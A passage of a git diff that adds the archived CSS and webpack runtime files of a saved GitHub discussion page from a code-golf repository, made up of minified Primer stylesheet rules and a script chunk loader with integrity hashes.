op::after{top:24px}.Popover-message--right-bottom::before,.Popover-message--right-bottom::after,.Popover-message--left-bottom::before,.Popover-message--left-bottom::after{top:auto}.Popover-message--right-bottom::before,.Popover-message--left-bottom::before{bottom:16px}.Popover-message--right-bottom::after,.Popover-message--left-bottom::after{bottom:17px}@media(min-width: 544px){.Popover-message--large{min-width:320px}}@media(max-width: 767.98px){.Popover{position:fixed;top:auto !important;right:0 !important;bottom:0 !important;left:0 !important}.Popover-message{top:auto;right:auto;bottom:auto;left:auto;width:auto !important;margin:8px}.Popover-message>.btn-octicon{padding:12px !important}.Popover-message::after,.Popover-message::before{display:none}}.Progress{display:flex;height:8px;overflow:hidden;background-color:var(--color-neutral-muted);border-radius:6px;outline:1px solid transparent}.Progress--large{height:10px}.Progress--small{height:5px}.Progress-item{outline:2px solid transparent}.Progress-item+.Progress-item{margin-left:2px}.SelectMenu{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:flex;padding:16px;pointer-events:none;flex-direction:column}@media(min-width: 544px){.SelectMenu{position:absolute;top:auto;right:auto;bottom:auto;left:auto;padding:0}}.SelectMenu::before{position:absolute;top:0;right:0;bottom:0;left:0;pointer-events:none;content:"";background-color:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.SelectMenu::before{display:none}}.SelectMenu-modal{position:relative;z-index:99;display:flex;max-height:66%;margin:auto 0;overflow:hidden;pointer-events:auto;flex-direction:column;background-color:var(--color-canvas-overlay);border:1px solid var(--color-select-menu-backdrop-border);border-radius:12px;box-shadow:var(--color-shadow-large);animation:SelectMenu-modal-animation .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}@keyframes SelectMenu-modal-animation{0%{opacity:0;transform:scale(0.9)}}@keyframes SelectMenu-modal-animation--sm{0%{opacity:0;transform:translateY(-16px)}}@media(min-width: 544px){.SelectMenu-modal{width:300px;height:auto;max-height:480px;margin:8px 0 16px 0;font-size:12px;border-color:var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large);animation-name:SelectMenu-modal-animation--sm}}.SelectMenu-header{display:flex;padding:16px;flex:none;align-items:center;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-header{padding:7px 7px 7px 16px}}.SelectMenu-title{flex:1;font-size:14px;font-weight:600}@media(min-width: 544px){.SelectMenu-title{font-size:inherit}}.SelectMenu-closeButton{padding:16px;margin:-16px;line-height:1;color:var(--color-fg-muted);background-color:transparent;border:0}@media(min-width: 544px){.SelectMenu-closeButton{padding:8px;margin:-8px -7px}}.SelectMenu-filter{padding:16px;margin:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-filter{padding:8px}}.SelectMenu-input{display:block;width:100%}@media(min-width: 544px){.SelectMenu-input{font-size:14px}}.SelectMenu-list{position:relative;padding:0;margin:0;margin-bottom:-1px;flex:auto;overflow-x:hidden;overflow-y:auto;background-color:var(--color-canvas-overlay);-webkit-overflow-scrolling:touch}.SelectMenu-item{display:flex;align-items:center;width:100%;padding:16px;overflow:hidden;color:var(--color-fg-default);text-align:left;cursor:pointer;background-color:var(--color-canvas-overlay);border:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-item{padding-top:7px;padding-bottom:7px}}.SelectMenu-list--borderless .SelectMenu-item{border-bottom:0}.SelectMenu-icon{width:16px;margin-right:8px;flex-shrink:0}.SelectMenu-icon--check{visibility:hidden;transition:transform .12s cubic-bezier(0.5, 0.1, 1, 0.5),visibility 0s .12s linear;transform:scale(0)}.SelectMenu-tabs{display:flex;flex-shrink:0;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:touch}.SelectMenu-tabs::-webkit-scrollbar{display:none}@media(min-width: 544px){.SelectMenu-tabs{padding:8px 8px 0 8px}}.SelectMenu-tab{flex:1;padding:8px 16px;font-size:12px;font-weight:500;color:var(--color-fg-muted);text-align:center;background-color:transparent;border:0;box-shadow:inset 0 -1px 0 var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab{flex:none;padding:4px 16px;border:1px solid transparent;border-bottom-width:0;border-top-left-radius:6px;border-top-right-radius:6px}}.SelectMenu-tab[aria-selected=true]{z-index:1;color:var(--color-fg-default);cursor:default;background-color:var(--color-canvas-overlay);box-shadow:0 0 0 1px var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab[aria-selected=true]{border-color:var(--color-border-muted);box-shadow:none}}.SelectMenu-message{padding:7px 16px;text-align:center;background-color:var(--color-canvas-overlay);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-blankslate,.SelectMenu-loading{padding:24px 16px;text-align:center;background-color:var(--color-canvas-overlay)}.SelectMenu-divider{padding:4px 16px;margin:0;font-size:12px;font-weight:500;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider{border-top:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider:empty{padding:0;border-top:0}.SelectMenu-footer{z-index:0;padding:8px 16px;font-size:12px;color:var(--color-fg-muted);text-align:center;border-top:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-footer{padding:7px 16px}}.SelectMenu--hasFilter .SelectMenu-modal{height:80%;max-height:none;margin-top:0}@media(min-width: 544px){.SelectMenu--hasFilter .SelectMenu-modal{height:auto;max-height:480px;margin-top:8px}}.SelectMenu-closeButton:focus,.SelectMenu-tab:focus,.SelectMenu-item:focus{outline:0}.SelectMenu-item:hover{text-decoration:none}.SelectMenu-item[aria-checked=true]{font-weight:500;color:var(--color-fg-default)}.SelectMenu-item[aria-checked=true] .SelectMenu-icon--check{visibility:visible;transition:transform .12s cubic-bezier(0, 0, 0.2, 1),visibility 0s linear;transform:scale(1)}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-primer-fg-disabled);pointer-events:none}@media(hover: hover){body:not(.intent-mouse) .SelectMenu-closeButton:focus,.SelectMenu-closeButton:hover{color:var(--color-fg-default)}.SelectMenu-closeButton:active{color:var(--color-fg-muted)}body:not(.intent-mouse) .SelectMenu-item:focus,.SelectMenu-item:hover{background-color:var(--color-neutral-subtle)}.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}body:not(.intent-mouse) .SelectMenu-tab:focus{background-color:var(--color-select-menu-tap-focus-bg)}.SelectMenu-tab:hover{color:var(--color-fg-default)}.SelectMenu-tab:not([aria-selected=true]):active{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}}@media(hover: none){.SelectMenu-item:focus,.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}.SelectMenu-item{-webkit-tap-highlight-color:var(--color-select-menu-tap-highlight)}}.Subhead{display:flex;padding-bottom:8px;margin-bottom:16px;border-bottom:1px solid var(--color-border-muted);flex-flow:row wrap;justify-content:flex-end}.Subhead--spacious{margin-top:40px}.Subhead-heading{font-size:24px;font-weight:400;flex:1 1 auto;order:0}.Subhead-heading--danger{font-weight:600;color:var(--color-danger-fg)}.Subhead-description{font-size:14px;color:var(--color-fg-muted);flex:1 100%;order:2}.Subhead-actions{margin:4px 0 4px 4px;align-self:center;justify-content:flex-end;order:1}.Subhead-actions+.Subhead-description{margin-top:4px}.TimelineItem{position:relative;display:flex;padding:16px 0;margin-left:16px}.TimelineItem::before{position:absolute;top:0;bottom:0;left:0;display:block;width:2px;content:"";background-color:var(--color-border-muted)}.TimelineItem:target .TimelineItem-badge{border-color:var(--color-accent-emphasis);box-shadow:0 0 .2em var(--color-accent-muted)}.TimelineItem-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-15px;color:var(--color-fg-muted);align-items:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.TimelineItem-badge--success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.TimelineItem-body{min-width:0;max-width:100%;margin-top:4px;color:var(--color-fg-muted);flex:auto}.TimelineItem-avatar{position:absolute;left:-72px;z-index:1}.TimelineItem-break{position:relative;z-index:1;height:24px;margin:0;margin-bottom:-16px;margin-left:-56px;background-color:var(--color-canvas-default);border:0;border-top:4px solid var(--color-border-default)}.TimelineItem--condensed{padding-top:4px;padding-bottom:0}.TimelineItem--condensed:last-child{padding-bottom:16px}.TimelineItem--condensed .TimelineItem-badge{height:16px;margin-top:8px;margin-bottom:8px;color:var(--color-fg-muted);background-color:var(--color-canvas-default);border:0}.Toast{display:flex;margin:8px;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-radius:6px;box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}@media(min-width: 544px){.Toast{width:max-content;max-width:450px;margin:16px}}.Toast-icon{display:flex;align-items:center;justify-content:center;width:48px;flex-shrink:0;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border:1px solid transparent;border-right:0;border-top-left-radius:inherit;border-bottom-left-radius:inherit}.Toast-content{padding:16px}.Toast-dismissButton{max-height:54px;padding:16px;color:inherit;background-color:transparent;border:0}.Toast-dismissButton:hover{opacity:.7}.Toast-dismissButton:active{opacity:.5}.Toast--loading{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--loading .Toast-icon{background-color:var(--color-neutral-emphasis)}.Toast--error{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--error .Toast-icon{background-color:var(--color-danger-emphasis)}.Toast--warning{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--warning .Toast-icon{background-color:var(--color-attention-emphasis)}.Toast--success{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--success .Toast-icon{background-color:var(--color-success-emphasis)}.Toast--animateIn{animation:Toast--animateIn .18s cubic-bezier(0.22, 0.61, 0.36, 1) backwards}@keyframes Toast--animateIn{0%{opacity:0;transform:translateY(100%)}}.Toast--animateOut{animation:Toast--animateOut .18s cubic-bezier(0.55, 0.06, 0.68, 0.19) forwards}@keyframes Toast--animateOut{100%{pointer-events:none;opacity:0;transform:translateY(100%)}}.Toast--spinner{animation:Toast--spinner 1000ms linear infinite}@keyframes Toast--spinner{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}.ToggleSwitch.ToggleSwitch{display:inline-flex}.ToggleSwitch{align-items:center;display:inline-flex;gap:8px}.ToggleSwitch:hover .ToggleSwitch-knob{background-color:var(--color-btn-hover-bg)}.ToggleSwitch:active .ToggleSwitch-knob{background-color:var(--color-btn-active-bg)}.ToggleSwitch--checked .ToggleSwitch-statusOn{height:auto;visibility:visible}.ToggleSwitch--checked .ToggleSwitch-statusOff{height:0;visibility:hidden}.ToggleSwitch-track{position:relative;display:block;width:64px;height:32px;padding:0;overflow:hidden;text-decoration:none;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:var(--color-switch-track-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:background-color,border-color;-webkit-appearance:none;appearance:none}.ToggleSwitch-track:focus,.ToggleSwitch-track:focus-visible{outline-offset:0}@media(pointer: coarse){.ToggleSwitch-track::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:44px;content:"";transform:translateX(-50%) translateY(-50%)}}@media(prefers-reduced-motion){.ToggleSwitch-track{transition:none}.ToggleSwitch-track *{transition:none}}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]{background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active{background-color:var(--color-canvas-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true]{background-color:var(--color-switch-track-checked-bg);border-color:var(--color-switch-track-checked-border)}.ToggleSwitch-track[aria-checked=true]:hover{background-color:var(--color-switch-track-checked-hover-bg)}.ToggleSwitch-track[aria-checked=true]:active{background-color:var(--color-switch-track-checked-active-bg)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-bg);border:0;transform:translateX(calc(100% + 1px))}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-lineIcon{transform:translateX(0%)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-circleIcon{transform:translateX(100%)}.ToggleSwitch-track[aria-disabled=true]{cursor:not-allowed;background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle);transition-property:none}.ToggleSwitch-track[aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob{border-color:var(--color-border-default);box-shadow:none}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:hover,.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:active{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-lineIcon{color:var(--color-fg-subtle)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-circleIcon{color:var(--color-fg-subtle)}.ToggleSwitch-icons{display:flex;align-items:center;width:100%;height:100%;overflow:hidden}.ToggleSwitch-lineIcon{line-height:0;color:var(--color-accent-fg);transition-duration:80ms;transition-property:transform;transform:translateX(-100%);flex:1 0 50%}.ToggleSwitch-circleIcon{line-height:0;color:var(--color-fg-default);transition-duration:80ms;transition-property:transform;transform:translateX(0);flex:1 0 50%}.ToggleSwitch-knob{position:absolute;top:-1px;bottom:-1px;z-index:1;width:50%;background-color:var(--color-btn-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;box-shadow:var(--color-shadow-medium),var(--color-btn-inset-shadow);transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:transform;transform:translateX(-1px)}@media(prefers-reduced-motion){.ToggleSwitch-knob{transition:none}}.ToggleSwitch-status{position:relative;font-size:14px;line-height:1.5;color:var(--color-fg-default);text-align:right}.ToggleSwitch--small .ToggleSwitch-status{font-size:12px}.ToggleSwitch--small .ToggleSwitch-track{width:48px;height:24px}.ToggleSwitch--disabled .ToggleSwitch-status{color:var(--color-fg-muted)}.ToggleSwitch-statusOn{height:0;visibility:hidden}.ToggleSwitch-statusOff{height:auto;visibility:visible}.ToggleSwitch--statusAtEnd{flex-direction:row-reverse}.ToggleSwitch--statusAtEnd .ToggleSwitch-status{text-align:left} + +/*# sourceMappingURL=primer-048cfb03804d.css.map*/ \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js new file mode 100644 index 0000000..3c9544b --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js @@ -0,0 +1,4 @@ +(()=>{var S=Object.defineProperty;var u=(g,b)=>S(g,"name",{value:b,configurable:!0});(()=>{"use strict";var g={},b={};function t(e){var o=b[e];if(o!==void 0)return o.exports;var _=b[e]={id:e,loaded:!1,exports:{}};return g[e].call(_.exports,_,_.exports,t),_.loaded=!0,_.exports}u(t,"__webpack_require__"),t.m=g,(()=>{var e=[];t.O=(o,_,a,n)=>{if(_){n=n||0;for(var s=e.length;s>0&&e[s-1][2]>n;s--)e[s]=e[s-1];e[s]=[_,a,n];return}for(var p=1/0,s=0;s=n)&&Object.keys(t.O).every(H=>t.O[H](_[i]))?_.splice(i--,1):(r=!1,n{var o=e&&e.__esModule?()=>e.default:()=>e;return t.d(o,{a:o}),o},(()=>{var e=Object.getPrototypeOf?_=>Object.getPrototypeOf(_):_=>_.__proto__,o;t.t=function(_,a){if(a&1&&(_=this(_)),a&8||typeof _=="object"&&_&&(a&4&&_.__esModule||a&16&&typeof _.then=="function"))return _;var n=Object.create(null);t.r(n);var s={};o=o||[null,e({}),e([]),e(e)];for(var p=a&2&&_;typeof p=="object"&&!~o.indexOf(p);p=e(p))Object.getOwnPropertyNames(p).forEach(r=>s[r]=()=>_[r]);return s.default=()=>_,t.d(n,s),n}})(),t.d=(e,o)=>{for(var _ in o)t.o(o,_)&&!t.o(e,_)&&Object.defineProperty(e,_,{enumerable:!0,get:o[_]})},t.f={},t.e=e=>Promise.all(Object.keys(t.f).reduce((o,_)=>(t.f[_](e,o),o),[])),t.u=e=>e==="vendors-node_modules_selector-observer_dist_index_esm_js"?""+e+"-8a8fb532f817.js":e==="vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"?""+e+"-c86dedecba6d.js":e==="vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"?""+e+"-3878570f122b.js":e==="app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"?""+e+"-b9402c4f55ed.js":e==="vendors-node_modules_lit-html_lit-html_js"?""+e+"-ba8ef7c9465c.js":e==="vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"?""+e+"-338b7b65f61e.js":e==="vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"?""+e+"-12cdb93781b2.js":e==="vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"?""+e+"-d2bd677ffadf.js":e==="app_assets_modules_github_behaviors_pjax_ts"?""+e+"-9f84f27e2e5c.js":e==="vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"?""+e+"-e5871d6341d9.js":e==="vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"?""+e+"-c50ba3159c37.js":e==="vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"?""+e+"-316d55757fd3.js":e==="vendors-node_modules_codemirror_lib_codemirror_js"?""+e+"-0e675a3cbbdb.js":e==="vendors-node_modules_three_build_three_module_js"?""+e+"-d26576a099b1.js":e==="vendors-node_modules_dompurify_dist_purify_js"?""+e+"-0677fca37991.js":"chunk-"+e+"-"+{"vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js":"ffef934f6d1e","vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js":"20ded1c3f9b2","_empty-file_js-app_assets_modules_github_tweetsodium_ts":"570800e4a58c","app_assets_modules_github_jump-to_ts":"9bb6962425bc","app_assets_modules_github_user-status-submit_ts":"b84397a4ac61","vendors-node_modules_github_blackbird-parser_dist_blackbird_js":"edcc67677b51","app_components_search_parsing_parsing_ts-_b3651":"aa493d973ae3","app_assets_modules_github_sortable-behavior_ts":"cd5461703766","app_components_accessibility_animated-image-element_ts":"94f17dc1685d","app_components_account_verifications_launch-code-element_ts":"d0fd2937b212","app_components_advisories_metric-selection-element_ts":"4daf4af581d1","app_components_advisories_severity-calculator-element_ts":"420add2d60b0","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52":"27a93e9feadc","app_components_branch_create-branch-element_ts":"47c73f958638","app_components_code_scanning_alert-dismissal-details-element_ts":"bfe6b385324e","app_components_codespaces_advanced_options_sku-list-element_ts":"ceaa5115fdcc","app_components_codespaces_create-button-element_ts":"d1ca5c6d0c0b","app_components_command_palette_command-palette-page-element_ts":"529a5c0079af","app_components_command_palette_command-palette-page-stack-element_ts":"51f9b6fbafdf","app_components_diffs_deferred-diff-lines-element_ts":"74cc226b15d7","app_components_files_readme-toc-element_ts":"1e5835991a94","app_components_github_delayed-loading-element_ts":"f1de276bb7aa","app_components_github_feature-callout-element_ts":"2e2e8020e6ac","app_components_issues_reopen-button-element_ts":"8528a7c35aa7","app_components_mathjax_math-renderer-element_ts":"b9b794ce9879","app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts":"d970b5ecb0bb","app_components_organizations_settings_codespaces-policy-form-element_ts":"1e572db4e753","app_components_organizations_settings_features_insights-form-element_ts":"fb80816ea539","app_components_primer_action_list_action-list-element_ts":"79601d8e2624","app_components_primer_action_menu_action-menu-element_ts":"c2ea03248767","app_components_primer_experimental_toggle-switch-element_ts":"bc0f9dc31330","app_components_primer_modal_dialog_iterate-focusable-elements_ts":"c9e90cad64bc","app_components_primer_modal_dialog_modal-dialog-element_ts":"191000849018","app_components_pull_requests_file_tree_file-filter-element_ts":"832274f35bf2","app_components_pull_requests_file_tree_file-tree-element_ts":"f3152f4f0a04","app_components_pull_requests_file_tree_file-tree-toggle-element_ts":"ef3d053b90c4","app_components_repos_alerts_dependabot-alert-row-element_ts":"4b2c2c17a666","app_components_repos_alerts_dependabot-alert-table-header-element_ts":"7a8a0e5e816e","app_components_repositories_memex_memex-project-picker-element_ts":"53ed3ef415f5","app_components_repositories_pin-organization-repo-element_ts":"8169732f40ca",app_components_search_parsing_common_ts:"669dbaaac99c","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d30067":"10d0e2f3411a","app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c":"2e9a9b96b433","app_components_search_search-input-element_ts":"c662cde7b457",app_components_search_suggestions_blackbird_ts:"9d3f0b9a1660","app_components_search_suggestions_custom-scopes_ts":"df25852e3ad8",app_components_search_suggestions_default_ts:"1e7083750a58","app_components_search_suggestions_fixed-qualifiers_ts":"f3da35af54f7",app_components_search_suggestions_history_ts:"5b7778d3b8d2",app_components_search_suggestions_languages_ts:"f8f91a6927a5","node_modules_delegated-events_dist_index_js":"a5f42cedc533",app_components_search_suggestions_suggestions_ts:"07b36587481e",app_components_search_suggestions_types_ts:"916e3d8c45b4","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e":"625e7dd04142","app_components_sidebar_project-picker-element_ts":"a7445ee5bcf3","app_components_slash_commands_slash-command-toolbar-button-element_ts":"447765607cc3","vendors-node_modules_chart_js_dist_chart_esm_js":"6cff96b2b76c","app_components_sponsors_orgs_premium_dashboard_monthly-spend-graph-element_ts":"5b02ffbbc782","app_components_stafftools_turbo_turbo-staffbar-element_ts":"22fa02e1f021","app_components_stafftools_turbo_turbo-staffbar-preview-element_ts":"302a5111f0a7","app_components_themed_pictures_themed-picture-element_ts":"9f2cc0c8b0fc","app_components_tracking_blocks_tracking-block-api_ts":"d2edfcc3fd5a","app_components_tracking_blocks_tracking-block-element_ts":"1bf94db855a2","app_components_tracking_blocks_tracking-block-omnibar-element_ts":"f776363d9b1c","app_assets_modules_github_profile_profile-pins-element_ts":"3f9eaf9c1f60","app_assets_modules_github_emoji-picker-element_ts":"5eb690ad8ba2","app_assets_modules_github_behaviors_edit-hook-secret-element_ts":"5517e7abe783","app_assets_modules_github_insights_insights-query_ts":"1d49b290a0a9","app_assets_modules_github_behaviors_remote-clipboard-copy_ts":"5ec315b1456a","app_assets_modules_github_insights_series-table_ts":"88c40e967d3d","vendors-node_modules_github_base-chart-element_dist_base-chart_js":"527a851d4dfc","app_assets_modules_github_insights_line-chart_ts":"ea9f86c8b7ce","app_assets_modules_github_insights_bar-chart_ts":"79b8bed29df1","app_assets_modules_github_insights_column-chart_ts":"5086ae8267a3","app_assets_modules_github_insights_stacked-area-chart_ts":"f2b10cc42f1b","app_assets_modules_github_presence_presence-avatars_ts":"68eea861e2bd","app_assets_modules_github_graphs_pulse-authors-graph-element_ts":"555a0a12a2af","app_assets_modules_github_stacks_stacks-input-config-view_ts":"52b337e4e085","app_assets_modules_github_graphs_community-contributions_ts":"d1497b6d575f","app_assets_modules_github_graphs_discussion-page-views_ts":"b7b14d0a8e16","app_assets_modules_github_graphs_discussions-daily-contributors_ts":"ae3978791f6f","app_assets_modules_github_graphs_discussions-new-contributors_ts":"b53affc543a7","app_assets_modules_github_graphs_code-frequency-graph-element_ts":"bb79cb796c54","vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js":"cb8dab829171","vendors-node_modules_d3-array_src_descending_js-node_modules_d3-brush_src_index_js-node_modul-a5b158":"b1f74f8aa268","app_assets_modules_github_graphs_contributors-graph-element_ts":"618c49878ee2","vendors-node_modules_d3-array_src_bisector_js-node_modules_d3-selection_src_pointer_js-node_m-1e8834":"b4d52f496960","app_assets_modules_github_graphs_org-insights-graph-element_ts":"ffb02396dbf4","app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25":"9d80281b1f30","app_assets_modules_github_graphs_traffic-clones-graph-element_ts":"cd2424a12f84","app_assets_modules_github_graphs_traffic-visitors-graph-element_ts":"0d5b216bec91","app_assets_modules_github_graphs_commit-activity-graph-element_ts":"1c205baacb3b","app_assets_modules_github_graphs_marketplace-insights-graph-element_ts":"6e57a35fbc19","vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d":"1bf929bb3d58","app_assets_modules_github_settings_user-sessions-map-element_ts":"38e2fd1a876f","app_assets_modules_github_behaviors_reload-after-polling-element_ts":"0383e1293fe8","app_assets_modules_github_graphs_package-dependencies-security-graph-element_ts":"4ba70be83c34",app_assets_modules_github_dependencies_ts:"9edfce444edb","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9":"c308a504a500","app_assets_modules_github_graphs_network-graph-element_ts":"4e7d9dc97c14","app_assets_modules_github_business-audit-log-map-element_ts":"48ea5be979d9","app_assets_modules_github_localization_inline-machine-translation-element_ts":"203846088225","app_assets_modules_github_gist_drag-drop_ts":"83cc70a31603","app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts":"e6b2becb5f85","app_assets_modules_github_profile_contributions-spider-graph_ts":"9823b871480c","app_assets_modules_github_webgl-warp_ts":"8d34dd71e14f","vendors-node_modules_mathjax_es5_tex-chtml-full_js":"e458fb3fc4c8","app_components_search_parsing_parsing_ts-_b3650":"0b181ac6599e"}[e]+".js",t.g=function(){if(typeof globalThis=="object")return globalThis;try{return this||new Function("return this")()}catch{if(typeof window=="object")return window}}(),t.o=(e,o)=>Object.prototype.hasOwnProperty.call(e,o),(()=>{var e={};t.l=(o,_,a,n)=>{if(e[o]){e[o].push(_);return}var s,p;if(a!==void 0)for(var r=document.getElementsByTagName("script"),i=0;i{s.onerror=s.onload=null,clearTimeout(m);var H=e[o];if(delete e[o],s.parentNode&&s.parentNode.removeChild(s),H&&H.forEach(f=>f(h)),c)return c(h)},"onScriptComplete"),m=setTimeout(d.bind(null,void 0,{type:"timeout",target:s}),12e4);s.onerror=d.bind(null,s.onerror),s.onload=d.bind(null,s.onload),p&&document.head.appendChild(s)}})(),t.r=e=>{typeof Symbol!="undefined"&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},t.nmd=e=>(e.paths=[],e.children||(e.children=[]),e),(()=>{var e;t.g.importScripts&&(e=t.g.location+"");var o=t.g.document;if(!e&&o&&(o.currentScript&&(e=o.currentScript.src),!e)){var _=o.getElementsByTagName("script");_.length&&(e=_[_.length-1].src)}if(!e)throw new Error("Automatic publicPath is not supported in this browser");e=e.replace(/#.*$/,"").replace(/\?.*$/,"").replace(/\/[^\/]+$/,"/"),t.p=e})(),t.sriHashes={"vendors-node_modules_selector-observer_dist_index_esm_js":"sha512-io+1MvgXPXTw8Kp4eOdNMJl8uGASuw8VfTY5VeIFETaAknimWi8GoxggMEeQ6mq0de4Dest4iIJ/9gUbCo0hgw==","vendors-node_modules_lit-html_lit-html_js":"sha512-uo73yUZcm4EicwjSbfxFZcKfjWniOxhLBp+q1n7IFRfutFM6/lzbQMgD0Xrxp7QD1HzqdvrV8UclPhi3mEOyzQ==","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe":"sha512-Es25N4GyPa8Yfp5wpahoe5b2fyPtkRMyR6mKIXyCJC0ocqQazeWvxhGZhx3StRxOfqDfHDR5SS35u/R3Wux6Cg==","vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js":"sha512-yG3t7Lpt5yKkdMNXFpl75Xemm+g4ghZ5e8xRBwl/HMbmgc3htVvxrjbohbK9MMfnnci1SnogZNH9DhJHYdQf3A==",app_assets_modules_github_behaviors_pjax_ts:"sha512-n4Tyfi5c/uwygTjsnha2QyN3+RMC8XNjYdlbvspiE6fN9tdKgsapC36CztCZX31jUoPvHY3HPpR4MaU5JZhs5Q==","vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js":"sha512-/++TT20eDLJNbF6hqcRE9Wk74AtUzJG26xP07mzhzLv81OuyBTpNhkbEMVXmzfGvVNFtdNW9+++nRzBrRDvE0w==","app_assets_modules_github_sortable-behavior_ts":"sha512-zVRhcDdmBJSH4u1VshV0m1Xv/MsVY8gEDm/mDjd2JuMmKVGL4XI6xXxteqHwrdcrnnxovc5cvbic9Ryndq0R5w==","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e":"sha512-Yl590EFCC9A